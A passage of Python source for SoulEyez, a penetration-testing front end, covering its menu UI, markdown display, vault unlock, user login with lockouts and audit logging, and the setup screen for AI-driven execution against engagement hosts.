    click.echo("  " + "─" * 76)
    click.echo()
    click.echo("    • Quick Actions [1-2] only appear when untested credentials are found")
    click.echo("    • Press [a] to toggle AI provider (Ollama for privacy, Claude for quality)")
    click.echo("    • Press [x] for AI-driven autonomous execution with recommendations")
    click.echo("    • Press [v] to toggle between Command Center and Detailed views")
    click.echo("    • Press [i] to expand/collapse the Intelligence panel")
    click.echo("    • Press [m] from anywhere to access the full navigation menu")
    click.echo()
    
    click.echo("  " + "═" * 76)
    click.echo()
    click.pause("  Press ENTER to return...")


def _display_document(title: str, filepath: Path):
    """Display a documentation file with terminal-friendly formatting."""
    import subprocess
    import shutil
    
    DesignSystem.clear_screen()
    width = get_terminal_width()
    
    # Check for glow (terminal markdown renderer) - best option
    if shutil.which('glow'):
        try:
            subprocess.run(['glow', '-p', str(filepath)])
            return
        except Exception:
            pass  # Fall through to other methods
    
    # Check for bat (syntax highlighter with paging)
    if shutil.which('bat'):
        try:
            subprocess.run(['bat', '--style=plain', '--paging=always', '--language=markdown', str(filepath)])
            return
        except Exception:
            pass
    
    # Use our custom formatter (better than plain less)
    try:
        with open(filepath, 'r') as f:
            content = f.read()
        
        formatted = _format_markdown_for_terminal(content, width)
        click.echo_via_pager(formatted)
    except Exception as e:
        click.echo(click.style(f"\n  ✗ Error reading document: {e}", fg='red'))
        click.pause()


def _format_markdown_for_terminal(content: str, width: int = 100) -> str:
    """Format markdown content for better terminal readability."""
    import re
    
    lines = []
    in_code_block = False
    code_lang = ''
    
    for line in content.split('\n'):
        # Code blocks
        if line.startswith('```'):
            in_code_block = not in_code_block
            if in_code_block:
                code_lang = line[3:].strip()
                lines.append(click.style('  ┌' + '─' * 78 + '┐', fg='bright_black'))
            else:
                lines.append(click.style('  └' + '─' * 78 + '┘', fg='bright_black'))
                code_lang = ''
            continue
        
        if in_code_block:
            lines.append(click.style('  │ ', fg='bright_black') + click.style(line, fg='cyan'))
            continue
        
        # H1 headers (# Header)
        if line.startswith('# ') and not line.startswith('##'):
            text = line[2:].strip()
            lines.append('')
            lines.append(click.style('─' * min(len(text) + 4, 80), fg='cyan', bold=True))
            lines.append(click.style(f'  {text}  ', fg='cyan', bold=True))
            lines.append(click.style('─' * min(len(text) + 4, 80), fg='cyan', bold=True))
            lines.append('')
            continue
        
        # H2 headers (## Header)
        if line.startswith('## '):
            text = line[3:].strip()
            lines.append('')
            lines.append(click.style(f'▸ {text}', fg='yellow', bold=True))
            lines.append(click.style('  ' + '─' * min(len(text) + 2, 78), fg='yellow'))
            lines.append('')
            continue
        
        # H3 headers (### Header)
        if line.startswith('### '):
            text = line[4:].strip()
            lines.append('')
            lines.append(click.style(f'  • {text}', fg='green', bold=True))
            lines.append('')
            continue
        
        # H4 headers (#### Header)
        if line.startswith('#### '):
            text = line[5:].strip()
            lines.append('')
            lines.append(click.style(f'    ▸ {text}', fg='white', bold=True))
            continue
        
        # Horizontal rules
        if line.strip() in ('---', '***', '___'):
            lines.append('')
            lines.append(click.style('  ' + '─' * 78, fg='bright_black'))
            lines.append('')
            continue
        
        # Process inline formatting
        # Bold (**text**)
        def bold_replacement(match):
            return click.style(match.group(1), bold=True)
        line = re.sub(r'\*\*(.+?)\*\*', bold_replacement, line)
        
        # Inline code `code`
        def code_replacement(match):
            return click.style(match.group(1), fg='yellow', bg='black')
        line = re.sub(r'`([^`]+)`', code_replacement, line)
        
        # Links [text](url) - just show text in blue
        def link_replacement(match):
            return click.style(match.group(1), fg='blue', underline=True)
        line = re.sub(r'\[([^\]]+)\]\([^\)]+\)', link_replacement, line)
        
        # Bullet lists
        if re.match(r'^[-*]\s', line):
            indent = len(line) - len(line.lstrip())
            line = ' ' * indent + click.style('  •', fg='cyan') + line[indent+1:]
        
        # Numbered lists
        if re.match(r'^\d+\.\s', line):
            line = '  ' + line
        
        # Status indicators with colors
        line = line.replace('⚡', click.style('⚡', fg='bright_yellow', bold=True))
        line = line.replace('✓', click.style('✓', fg='bright_green', bold=True))
        line = line.replace('✗', click.style('✗', fg='bright_red', bold=True))
        line = line.replace('⚠️', click.style('⚠️', fg='bright_yellow', bold=True))
        
        # Add proper indentation for regular text
        if line and not line.startswith(' ') and not line.startswith('\t'):
            line = line
        
        lines.append(line)
    
    return '\n'.join(lines)


def _show_first_run_setup(user_mgr):
    """Handle first-run admin account creation."""
    from rich.panel import Panel
    from rich.console import Console
    
    console = Console()
    
    click.echo()
    click.echo(click.style("🔐 FIRST RUN SETUP", bold=True, fg='cyan'))
    click.echo("=" * 70)
    click.echo()
    click.echo("No users found. Creating default admin account...")
    click.echo()
    
    created, password = user_mgr.ensure_default_admin()
    
    if created:
        console.print(Panel(
            f"[green bold]Default admin account created![/green bold]\n\n"
            f"Username: [bold]admin[/bold]\n"
            f"Password: [bold]{password}[/bold]\n\n"
            f"[red]⚠️  Save this password! It will not be shown again.[/red]",
            title="🔐 Admin Account",
            border_style="green"
        ))
        click.echo()
        click.pause("Press Enter to continue to login...")
        click.echo()


def _prompt_login(user_mgr, session_mgr, vault_failures: int = 0, vault_unlocked_at=None) -> bool:
    """
    Prompt user for login credentials.
    
    Args:
        user_mgr: User manager instance
        session_mgr: Session manager instance
        vault_failures: Number of recent vault failures (for cross-layer delay)
        vault_unlocked_at: When vault was unlocked (for session binding)
    
    Returns:
        True if login successful, False if user wants to exit
    """
    import getpass
    from rich.panel import Panel
    from rich.console import Console
    console = Console()
    
    # Apply cross-layer delay if vault had failures
    if vault_failures >= 2:
        session_mgr.apply_cross_layer_delay(vault_failures)
    
    click.echo()
    console.print(Panel(
        "[bold white]👤 LAYER 2: USER AUTHENTICATION[/bold white]\n\n"
        "Sign in to access SoulEyez.\n"
        "Role controls access. Tier unlocks Pro features.\n\n"
        "[yellow]⚠️  Security: 5 failed attempts = 15 minute account lock[/yellow]",
        border_style="cyan",
        padding=(1, 2)
    ))
    click.echo()
    click.echo("  (Type 'q' as username to exit)")
    click.echo()
    
    max_password_attempts = 3

    while True:
        try:
            username = click.prompt("  Username", type=str)
            if username.lower() == 'q':
                return False

            # Password attempts loop for this username
            for attempt in range(max_password_attempts):
                password = getpass.getpass("  Password: ")

                user, error = user_mgr.authenticate(username, password)

                if user:
                    # Bind session to vault unlock time
                    session = session_mgr.create_session(
                        user,
                        vault_unlocked_at=vault_unlocked_at
                    )
                    session_mgr.set_current_user(user)

                    # Log the login
                    _log_audit_event("user.login", user.id, user.username)

                    tier_badge = "💎 PRO" if user.tier.value == "PRO" else "FREE"
                    click.echo()
                    click.echo(click.style(f"  ✅ Welcome, {user.username}!", fg='green', bold=True))
                    click.echo(f"     Role: {click.style(user.role.value.upper(), fg='cyan')} | " +
                              f"Tier: {click.style(tier_badge, fg='magenta')}")
                    click.echo()
                    time.sleep(1)
                    return True
                else:
                    remaining = max_password_attempts - attempt - 1
                    if remaining > 0:
                        click.echo(click.style(f"  ❌ {error}. {remaining} attempts remaining.", fg='red'))
                        click.echo()
                        # Stay on password prompt for same username
                    else:
                        click.echo(click.style(f"  ❌ {error}. Too many failed attempts.", fg='red'))
                        click.echo()
                        if click.confirm("  Try different username?", default=True):
                            click.echo()
                            break  # Back to username prompt
                        return False

        except KeyboardInterrupt:
            click.echo("\n")
            return False
        except Exception as e:
            click.echo(click.style(f"  ❌ Login error: {e}", fg='red'))
            click.echo()


def _log_audit_event(action: str, user_id: str, username: str, details: str = None):
    """Log an audit event."""
    import sqlite3
    from datetime import datetime
    from souleyez.storage.database import get_db
    
    try:
        conn = sqlite3.connect(get_db().db_path)
        conn.execute("""
            INSERT INTO audit_log (user_id, username, action, details, timestamp)
            VALUES (?, ?, ?, ?, ?)
        """, (user_id, username, action, details, datetime.now().isoformat()))
        conn.commit()
        conn.close()
    except Exception:
        pass  # Don't fail if audit logging fails


def run_interactive_menu():
    """Main interactive menu loop with ASCII banner."""
    from souleyez.ui.design_system import DesignSystem
    
    # Clear screen and show ASCII banner first
    DesignSystem.clear_screen()
    
    width = DesignSystem.get_terminal_width()
    
    # Header
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" SOULEYEZ - INTERACTIVE MENU ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo("\n")
    
    # ASCII Art Banner
    banner = """
   ███████╗ ██████╗ ██╗   ██╗██╗         ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗ ███████╗
   ██╔════╝██╔═══██╗██║   ██║██║         ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗██╔════╝
   ███████╗██║   ██║██║   ██║██║         ███████║███████║██║     █████╔╝ █████╗  ██████╔╝███████╗
   ╚════██║██║   ██║██║   ██║██║         ██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗╚════██║
   ███████║╚██████╔╝╚██████╔╝███████╗    ██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██║  ██║███████║
   ╚══════╝ ╚═════╝  ╚═════╝ ╚══════╝    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝
"""
    click.echo(click.style(banner, fg='bright_cyan', bold=True))
    
    # Tagline and description
    click.echo(click.style("  Created by CyberSoul SecurITy", fg='yellow'))
    click.echo()
    click.echo("  SoulEyez brings your hacking tools together so you can spend less time switching windows")
    click.echo("  and more time breaking things (ethically, of course). Launch scans with Nmap, Metasploit,")
    click.echo("  Gobuster, theHarvester, and many more. Manage engagements, review findings, generate reports,")
    click.echo("  and let AI recommend your next moves — all in one place.")
    click.echo()
    
    # Auto-restart worker to ensure it's using latest code
    _ensure_worker_running()
    
    # Set up terminal for proper line editing (backspace, arrows, history)
    setup_terminal()
    
    # Check if first run and launch setup wizard
    from souleyez.storage.engagements import EngagementManager
    from souleyez.ui.setup_wizard import run_setup_wizard, is_wizard_completed
    
    em = EngagementManager()
    if not em.list_all() and not is_wizard_completed():
        # First run - launch setup wizard
        if run_setup_wizard():
            # Wizard completed successfully, refresh screen
            DesignSystem.clear_screen()
    
    # SECURITY: Force encryption check before allowing access
    from souleyez.storage.crypto import get_crypto_manager
    crypto = get_crypto_manager()
    
    while not crypto.is_encryption_enabled():
        click.echo(click.style("🔐 ENCRYPTED CREDENTIALS", bold=True, fg='cyan'))
        click.echo("=" * 70)
        click.echo()
        click.echo(click.style("⚠️  SECURITY WARNING", bold=True, fg='red'))
        click.echo()
        click.echo(click.style("Encryption is NOT enabled.", fg='yellow', bold=True))
        click.echo("Credentials are currently stored in PLAINTEXT in the database.")
        click.echo()
        click.echo(click.style("This is a security risk!", fg='red'))
        click.echo()
        click.echo("Would you like to enable encryption now?")
        click.echo("  • Credentials will be encrypted with a master password")
        click.echo("  • Existing plaintext credentials will be migrated")
        click.echo("  • You'll need this password to view credentials")
        click.echo()
        
        if not click.confirm(click.style("Enable encryption?", bold=True), default=True):
            click.echo()
            click.echo(click.style("⚠️  WARNING: Continuing without encryption!", fg='red', bold=True))
            click.echo("   Credentials will remain in plaintext.")
            click.echo()
            if not click.confirm("Are you sure you want to continue without encryption?", default=False):
                # They said NO to bypassing encryption, so enable it
                click.echo()
                click.echo("Setting up encryption...")
                click.echo()
                # Fall through to encryption setup below
            else:
                # They confirmed they want to bypass encryption
                click.echo()
                click.echo(click.style("⚠️  Proceeding without encryption (NOT RECOMMENDED)", fg='yellow'))
                click.pause("Press any key to continue...")
                break  # Exit the loop, proceed without encryption
        
        # Set up encryption (either they chose Yes initially, or No to bypass)
        click.echo(click.style("🔐 ENABLE ENCRYPTION", bold=True, fg='cyan'))
        click.echo("=" * 70)
        click.echo()
        click.echo("Choose a strong master password.")
        click.echo("Requirements:")
        click.echo("  • At least 12 characters")
        click.echo("  • Mix of uppercase and lowercase letters")
        click.echo("  • At least one number")
        click.echo("  • At least one special character (!@#$%^&*)")
        click.echo()
        click.echo(click.style("⚠️  If you lose this password, encrypted credentials cannot be recovered!", fg='yellow', bold=True))
        click.echo()
        
        import getpass
        import re
        password_set = False
        while not password_set:
            password = getpass.getpass("Enter master password: ")
            
            # Validate password strength
            if len(password) < 12:
                click.echo(click.style("❌ Password must be at least 12 characters.", fg='red'))
                continue
            
            if not re.search(r'[a-z]', password):
                click.echo(click.style("❌ Password must contain at least one lowercase letter.", fg='red'))
                continue
            
            if not re.search(r'[A-Z]', password):
                click.echo(click.style("❌ Password must contain at least one uppercase letter.", fg='red'))
                continue
            
            if not re.search(r'\d', password):
                click.echo(click.style("❌ Password must contain at least one number.", fg='red'))
                continue
            
            if not re.search(r'[!@#$%^&*()_+\-=\[\]{};:\'",.<>?/\\|`~]', password):
                click.echo(click.style("❌ Password must contain at least one special character.", fg='red'))
                continue
            
            password_confirm = getpass.getpass("Confirm master password: ")
            if password != password_confirm:
                click.echo(click.style("❌ Passwords don't match. Try again.", fg='red'))
                continue
            
            password_set = True
        
        click.echo()
        click.echo("Enabling encryption...")
        
        try:
            if crypto.enable_encryption(password):
                click.echo()
                click.echo(click.style("✅ Encryption enabled successfully!", fg='green', bold=True))
                click.echo()
                click.echo("Your credentials are now encrypted.")
                click.echo("You'll need this password when viewing decrypted credentials.")
                click.echo()
                
                # Show missing tools summary
                try:
                    from souleyez.utils.tool_checker import get_missing_tools
                    missing = get_missing_tools()
                    if missing:
                        click.echo(click.style("⚠️  Missing External Tools", fg='yellow', bold=True))
                        click.echo(f"   {len(missing)} pentesting tool(s) not found in PATH")
                        click.echo()
                        for tool in missing[:5]:  # Show first 5
                            click.echo(f"   ✗ {tool['name']}: {tool['install']}")
                        if len(missing) > 5:
                            click.echo(f"   ... and {len(missing) - 5} more")
                        click.echo()
                        click.echo(f"   View all: Settings → [6] Check Tool Dependencies")
                        click.echo()
                except:
                    pass  # Don't fail if tool checker has issues
                
                click.pause("Press any key to continue to main menu...")
                break  # Exit the loop, encryption is now enabled
            else:
                click.echo()
                click.echo(click.style("❌ Failed to enable encryption.", fg='red'))
                click.echo("Please try again or check logs.")
                click.echo()
                click.pause("Press any key to retry...")
                # Loop back to try again
        except Exception as e:
            click.echo()
            click.echo(click.style(f"❌ Error enabling encryption: {e}", fg='red'))
            click.echo()
            click.pause("Press any key to retry...")
            # Loop back to try again
    
    # If encryption is enabled but locked, prompt for password
    if crypto.is_encryption_enabled() and not crypto.is_unlocked():
        from rich.panel import Panel
        from rich.console import Console
        console = Console()
        
        # Enhanced Layer 1: Vault Unlock UI
        click.echo()
        console.print(Panel(
            "[bold white]🔐 LAYER 1: CREDENTIAL VAULT[/bold white]\n\n"
            "Your credential vault is encrypted.\n"
            "This password protects stored secrets (API keys, passwords).\n\n"
            "[yellow]⚠️  Security: 3 failed attempts = 15 minute lockout[/yellow]",
            border_style="cyan",
            padding=(1, 2)
        ))
        click.echo()
        
        import getpass
        from souleyez.auth.audit import get_audit_logger, AuditAction
        audit_logger = get_audit_logger()
        
        # Check if already locked out
        if crypto.is_locked_out():
            remaining = crypto.get_lockout_remaining()
            minutes = remaining // 60
            seconds = remaining % 60
            click.echo(click.style(f"🔒 Vault is locked due to failed attempts.", fg='red', bold=True))
            click.echo(click.style(f"   Time remaining: {minutes}m {seconds}s", fg='yellow'))
            click.echo()
            click.echo("Cannot proceed while vault is locked. Exiting...")
            
            # Log lockout event
            audit_logger.log_vault_event(
                AuditAction.VAULT_LOCKED_OUT,
                details={"remaining_seconds": remaining}
            )
            return
        
        max_attempts = 3
        for attempt in range(max_attempts):
            try:
                password = getpass.getpass("Vault password: ")
                if crypto.unlock(password):
                    click.echo(click.style("✓ Vault unlocked successfully", fg='green'))
                    
                    # Log successful unlock
                    audit_logger.log_vault_event(
                        AuditAction.VAULT_UNLOCK,
                        success=True
                    )
                    
                    click.echo()
                    click.pause("Press ENTER to continue...")
                    # Clear screen AND scrollback buffer
                    DesignSystem.clear_screen()
                    break
                else:
                    remaining_attempts, is_locked = crypto.record_failed_attempt()
                    
                    # Log failed attempt
                    audit_logger.log_vault_event(
                        AuditAction.VAULT_UNLOCK_FAILED,
                        details={"remaining_attempts": remaining_attempts},
                        success=False
                    )
                    
                    if is_locked:
                        click.echo(click.style(f"✗ Maximum attempts exceeded.", fg='red', bold=True))
                        click.echo(click.style(f"   Vault locked for 15 minutes.", fg='yellow'))
                        click.echo()
                        click.echo("Cannot proceed without unlocking credentials.")
                        click.echo("Exiting...")
                        
                        # Log lockout
                        audit_logger.log_vault_event(
                            AuditAction.VAULT_LOCKED_OUT,
                            details={"lockout_minutes": 15}
                        )
                        return
                    else:
                        if remaining_attempts > 0:
                            click.echo(click.style(f"✗ Incorrect password. {remaining_attempts} attempts remaining.", fg='red'))
                            click.echo()
            except KeyboardInterrupt:
                click.echo("\n\nCancelled by user. Exiting...")
                return
            except Exception as e:
                click.echo(click.style(f"✗ Error: {e}", fg='red'))
                return
    
    # =========================================================================
    # AUTHENTICATION CHECK
    # =========================================================================
    from souleyez.auth import (
        init_auth, get_current_user, is_logged_in,
        get_session_manager, UserManager, Tier, Role
    )
    from souleyez.storage.database import get_db
    
    # Initialize auth system
    init_auth(get_db().db_path)
    
    session_mgr = get_session_manager()
    user_mgr = UserManager(get_db().db_path)

    # Clear any existing session after vault unlock
    # Security: Vault unlock = new app session = must re-authenticate
    session_mgr.logout()

    # Check for first-run (create default admin)
    if user_mgr.get_user_count() == 0:
        _show_first_run_setup(user_mgr)
    
    # Always require user authentication after vault unlock
    # (No auto-login - security requires explicit authentication)
    while not is_logged_in():
        # Get vault failure count for cross-layer delay
        vault_failures = crypto.get_recent_failure_count()
        vault_unlocked_at = crypto.last_unlock_time
        
        if not _prompt_login(user_mgr, session_mgr, vault_failures, vault_unlocked_at):
            # User chose to exit
            click.echo("\nGoodbye!")
            return
    
    # Auto-start background worker if not running
    try:
        import signal
        from souleyez.engine.worker_manager import start_worker_if_needed

        def timeout_handler(signum, frame):
            raise TimeoutError("Worker check timed out")

        # Save original handler and set timeout
        old_handler = signal.signal(signal.SIGALRM, timeout_handler)
        signal.alarm(5)  # 5 second timeout

        try:
            was_started = start_worker_if_needed()
            signal.alarm(0)  # Cancel alarm
            signal.signal(signal.SIGALRM, old_handler)  # Restore original handler
            if was_started:
                click.echo(click.style("✓ Background worker started", fg='green'))
                time.sleep(0.5)
        except TimeoutError:
            signal.alarm(0)
            signal.signal(signal.SIGALRM, old_handler)  # Restore original handler
            click.echo(click.style("⚠ Worker check timed out, continuing anyway", fg='yellow'))
            time.sleep(0.5)
    except Exception as e:
        # Make sure signal handler is reset even on other exceptions
        try:
            signal.alarm(0)
            signal.signal(signal.SIGALRM, signal.SIG_DFL)
        except:
            pass
        click.echo(click.style(f"⚠ Worker may not be running: {e}", fg='yellow'))
        time.sleep(1)

    while True:
        # Show main menu
        result = show_main_menu()

        if not result:
            click.echo("\nGoodbye!")
            break

        action = result.get('action')

        if action == 'retry':
            continue
        
        elif action == 'logout':
            # Handle logout
            from souleyez.auth import get_session_manager, get_current_user
            
            session_mgr = get_session_manager()
            current_user = get_current_user()
            username = current_user.username if current_user else "unknown"
            
            # Log the logout
            if current_user:
                _log_audit_event("user.logout", current_user.id, username)
            
            session_mgr.logout()
            
            click.echo()
            click.echo(click.style(f"  ✅ Logged out. Goodbye, {username}!", fg='green'))
            click.echo()
            time.sleep(1)
            
            # Return to login prompt
            vault_failures = crypto.get_recent_failure_count()
            vault_unlocked_at = crypto.last_unlock_time
            if not _prompt_login(user_mgr, session_mgr, vault_failures, vault_unlocked_at):
                return  # Exit if user doesn't want to login again
            
            # Refresh screen with new user
            DesignSystem.clear_screen()
            continue

        elif action == 'view_dashboard':
            from souleyez.ui.dashboard import run_dashboard
            run_dashboard()

        elif action == 'intelligence_hub':
            # Intelligence Hub is a Pro feature
            from souleyez.auth import get_current_user
            from souleyez.auth.permissions import Tier
            user = get_current_user()
            if not user or user.tier != Tier.PRO:
                _show_upgrade_prompt("Intelligence Hub")
                continue

            from souleyez.ui.attack_surface import view_attack_surface
            from souleyez.storage.engagements import EngagementManager
            em = EngagementManager()
            current = em.get_current()
            if current:
                view_attack_surface(current['id'])
            else:
                click.echo(click.style("\n  ✗ No active engagement. Use 'Engagement Management' to select one first.\n", fg='red'))
                time.sleep(2)

        elif action == 'automation_submenu':
            _automation_submenu()

        elif action == 'ai_execute':
            # Import at function level (follows existing pattern)
            from souleyez.ai.executor import InteractiveExecutor
            from souleyez.ai.safety import ApprovalMode
            from souleyez.storage.engagements import EngagementManager

            # Get current engagement (same pattern as other commands)
            em = EngagementManager()
            current = em.get_current()

            if not current:
                click.echo(click.style("\n  ✗ No active engagement. Use 'Engagement Management' to select one first.\n", fg='red'))
                time.sleep(2)
                continue

            # Show AI execution options menu
            DesignSystem.clear_screen()
            width = get_terminal_width(); click.echo("\n┌" + "─" * (width - 2) + "┐")
            click.echo("│" + click.style(" 🤖 AI-DRIVEN EXECUTION MODE ".center(width - 2), bold=True, fg='cyan') + "│")
            click.echo("└" + "─" * (width - 2) + "┘")
            click.echo()
            click.echo(f"  Engagement: {click.style(current['name'], fg='green', bold=True)}")
            click.echo()

            # === AI PROVIDER SELECTION (FIRST) ===
            click.echo(click.style("  🧠 SELECT AI PROVIDER:", bold=True, fg='cyan'))
            click.echo("  ─" * 38)

            # Check available providers
            try:
                from souleyez.ai.ollama_provider import OllamaProvider
                from souleyez.ai.claude_provider import ClaudeProvider

                ollama = OllamaProvider()
                claude = ClaudeProvider()
                ollama_available = ollama.is_available()
                claude_available = claude.is_available()

                ollama_status = ollama.get_status()
                claude_status = claude.get_status()
            except Exception:
                ollama_available = False
                claude_available = False
                ollama_status = {}
                claude_status = {}

            selected_ai_provider = None

            if not ollama_available and not claude_available:
                click.echo(click.style("    ⚠ No AI providers available!", fg='red'))
                click.echo("    • Start Ollama: " + click.style("ollama serve", fg='cyan'))
                click.echo("    • Or configure Claude: " + click.style("Settings → [8] Claude API", fg='cyan'))
                click.pause()
                continue

            # Show available providers
            if ollama_available:
                model = ollama_status.get('configured_model', 'unknown')
                click.echo(f"    " + click.style("[1]", fg='green', bold=True) + f" Ollama (Local)     - {model} " + click.style("[FREE, PRIVATE]", fg='green'))
            else:
                click.echo(f"    " + click.style("[1]", fg='bright_black') + " Ollama (Local)     - " + click.style("Not running", fg='yellow'))

            if claude_available:
                click.echo(f"    " + click.style("[2]", fg='cyan', bold=True) + " Claude (Anthropic) - " + click.style("Higher quality reasoning", fg='cyan') + " " + click.style("[CLOUD]", fg='yellow'))
            else:
                key_configured = claude_status.get('api_key_configured', False)
                if not key_configured:
                    click.echo(f"    " + click.style("[2]", fg='bright_black') + " Claude (Anthropic) - " + click.style("API key not configured", fg='yellow'))
                else:
                    click.echo(f"    " + click.style("[2]", fg='bright_black') + " Claude (Anthropic) - " + click.style("Package not installed", fg='yellow'))

            click.echo()
            click.echo("    " + click.style("[q]", fg='white', bold=True) + " ← Back")
            click.echo()
            click.echo("  ─" * 38)

            # Get provider selection
            if ollama_available and claude_available:
                click.echo(click.style("  Select AI provider [1/2]: ", bold=True), nl=False)
                provider_choice = input().strip()

                if provider_choice == 'q':
                    continue
                elif provider_choice == '2':
                    click.echo()
                    click.echo(click.style("  ⚠ PRIVACY NOTICE:", fg='yellow', bold=True))
                    click.echo("    Engagement data (hosts, services, credentials) will be sent to")
                    click.echo("    Anthropic's servers for AI processing.")
                    click.echo()
                    confirm = click.prompt("  Proceed with Claude?", type=str, default="y")
                    if confirm.lower() in ['y', 'yes']:
                        selected_ai_provider = 'claude'
                    else:
                        click.echo(click.style("  Cancelled.", fg='yellow'))
                        click.pause()
                        continue
                else:
                    selected_ai_provider = 'ollama'
            elif ollama_available:
                click.echo(click.style("  Using Ollama (only available provider)", fg='green'))
                selected_ai_provider = 'ollama'
                time.sleep(1)
            elif claude_available:
                click.echo(click.style("  ⚠ PRIVACY: Data will be sent to Anthropic's servers", fg='yellow'))
                confirm = click.prompt("  Use Claude?", type=str, default="y")
                if confirm.lower() in ['y', 'yes']:
                    selected_ai_provider = 'claude'
                else:
                    click.echo(click.style("  Cancelled.", fg='yellow'))
                    click.pause()
                    continue

            click.echo(f"\n  ✓ AI Provider: {click.style(selected_ai_provider.upper(), fg='cyan', bold=True)}")
            click.echo()

            # Show preview of available actions
            click.echo(click.style("  📋 AVAILABLE ACTIONS PREVIEW:", bold=True, fg='cyan'))
            click.echo("  ─" * 38)
            
            from souleyez.storage.credentials import CredentialsManager
            from souleyez.storage.hosts import HostManager
            
            creds_mgr = CredentialsManager()
            host_mgr = HostManager()
            
            # Get credentials by service
            all_creds = creds_mgr.list_credentials(current['id'])
            creds_by_service = {}
            untested_count = 0
            
            for cred in all_creds:
                service = cred.get('service', 'unknown')
                status = cred.get('status', 'untested')
                if status == 'untested':
                    untested_count += 1
                if service not in creds_by_service:
                    creds_by_service[service] = {'total': 0, 'untested': 0, 'valid': 0, 'invalid': 0}
                creds_by_service[service]['total'] += 1
                creds_by_service[service][status] += 1
            
            # Get hosts by access level
            all_hosts = host_mgr.list_hosts(current['id'])
            # Filter to only show active hosts (status = 'up')
            active_hosts = [h for h in all_hosts if h.get('status') == 'up']
            
            hosts_by_access = {'none': 0, 'user': 0, 'admin': 0, 'root': 0}
            total_services = 0
            
            for host in active_hosts:
                access = host.get('access_level', 'none')
                hosts_by_access[access] += 1
                # Count services for this host
                services = host_mgr.get_host_services(host['id'])
                if services:
                    total_services += len(services)
            
            # Display credentials summary
            if creds_by_service:
                click.echo(f"    {click.style('Credentials:', fg='yellow', bold=True)}")
                for service, counts in sorted(creds_by_service.items()):
                    untested_str = click.style(f"{counts['untested']} untested", fg='yellow') if counts['untested'] > 0 else ""
                    valid_str = click.style(f"{counts['valid']} valid", fg='green') if counts['valid'] > 0 else ""
                    invalid_str = click.style(f"{counts['invalid']} invalid", fg='red') if counts['invalid'] > 0 else ""
                    
                    status_parts = [s for s in [untested_str, valid_str, invalid_str] if s]
                    status_str = ", ".join(status_parts) if status_parts else "all tested"
                    
                    click.echo(f"      • {service.upper()}: {counts['total']} total ({status_str})")
            else:
                click.echo(f"    {click.style('Credentials:', fg='yellow', bold=True)} None available")
            
            click.echo()
            
            # Display hosts summary
            click.echo(f"    {click.style('Hosts:', fg='yellow', bold=True)}")
            click.echo(f"      • Total: {len(all_hosts)} hosts, {total_services} services")
            
            access_parts = []
            if hosts_by_access['none'] > 0:
                access_parts.append(click.style(f"{hosts_by_access['none']} no access", fg='red'))
            if hosts_by_access['user'] > 0:
                access_parts.append(click.style(f"{hosts_by_access['user']} user", fg='yellow'))
            if hosts_by_access['admin'] > 0 or hosts_by_access['root'] > 0:
                admin_total = hosts_by_access['admin'] + hosts_by_access['root']
                access_parts.append(click.style(f"{admin_total} admin/root", fg='green'))
            
            if access_parts:
                click.echo(f"      • Access: {', '.join(access_parts)}")
            
            click.echo()
            
            # HOST SELECTION
            click.echo(click.style("  🎯 TARGET HOST SELECTION:", bold=True, fg='cyan'))
            click.echo("  ─" * 38)
            
            if not all_hosts:
                click.echo(click.style("    No hosts available in this engagement!", fg='red'))
                click.pause()
                continue
            
            click.echo("    " + click.style("[1]", fg='cyan', bold=True) + " Target ALL hosts          - Execute against all hosts")
            click.echo("    " + click.style("[2]", fg='cyan', bold=True) + " Select specific hosts     - Choose which hosts to target")
            click.echo("    " + click.style("[3]", fg='cyan', bold=True) + " Filter by access level    - Target only hosts with specific access")
            click.echo("    " + click.style("[4]", fg='cyan', bold=True) + " Filter by service         - Target hosts with specific services")
            click.echo("    " + click.style("[q]", fg='white', bold=True) + " ← Back")
            click.echo()
            click.echo("  " + "─" * (get_terminal_width() - 4))
            click.echo(click.style("  Select option: ", bold=True), nl=False)
            
            try:
                target_choice = input().strip().lower()
                
                if target_choice == 'q':
                    continue
                
                # Filter hosts based on selection
                selected_hosts = []
                
                if target_choice == '1':
                    # All active hosts
                    selected_hosts = active_hosts
                    click.echo(f"\n  ✓ Targeting ALL {len(selected_hosts)} active host(s)")
                    
                elif target_choice == '2':
                    # Select specific hosts using interactive selector
                    from souleyez.ui.interactive_selector import interactive_select

                    host_items = []
                    for host in active_hosts:
                        # Get services count for this host
                        hid = host.get('id')
                        services = host_mgr.get_host_services(hid) if hid else []
                        host_items.append({
                            'ip_address': host.get('ip_address', 'unknown'),
                            'hostname': host.get('hostname', ''),
                            'services': len(services) if services else 0,
                            'access_level': host.get('access_level', 'none'),
                            '_original': host
                        })

                    selected_ips = set()
                    columns = [
                        {'name': 'IP Address', 'width': 16, 'key': 'ip_address'},
                        {'name': 'Hostname', 'key': 'hostname'},
                        {'name': 'Services', 'width': 10, 'key': 'services', 'justify': 'right'},
                        {'name': 'Access', 'width': 8, 'key': 'access_level'},
                    ]

                    def format_access_cell(item: dict, key: str) -> str:
                        value = item.get(key)
                        if value is None or value == '':
                            return '-'
                        if key == 'services':
                            if value > 0:
                                return f'[green]{value}[/green]'
                            return '0'
                        if key == 'access_level':
                            colors = {'none': 'red', 'user': 'yellow', 'admin': 'green', 'root': 'green'}
                            color = colors.get(value, 'white')
                            return f'[{color}]{value}[/{color}]'
                        return str(value)

                    interactive_select(
                        items=host_items,
                        columns=columns,
                        selected_ids=selected_ips,
                        get_id=lambda h: h.get('ip_address'),
                        title='SELECT TARGET HOSTS',
                        format_cell=format_access_cell
                    )

                    if selected_ips:
                        # Get original host objects for selected IPs
                        selected_hosts = [h['_original'] for h in host_items if h['ip_address'] in selected_ips]
                        click.echo(f"\n  ✓ Selected {len(selected_hosts)} host(s)")
                    else:
                        click.echo(click.style("\n  ✗ No hosts selected!", fg='red'))
                        click.pause()
                        continue
                    
                elif target_choice == '3':
                    # Filter by access level (from active hosts)
                    click.echo("\n")
                    click.echo(click.style("  Filter by Access Level:", bold=True, fg='cyan'))
                    click.echo("  ─" * 38)
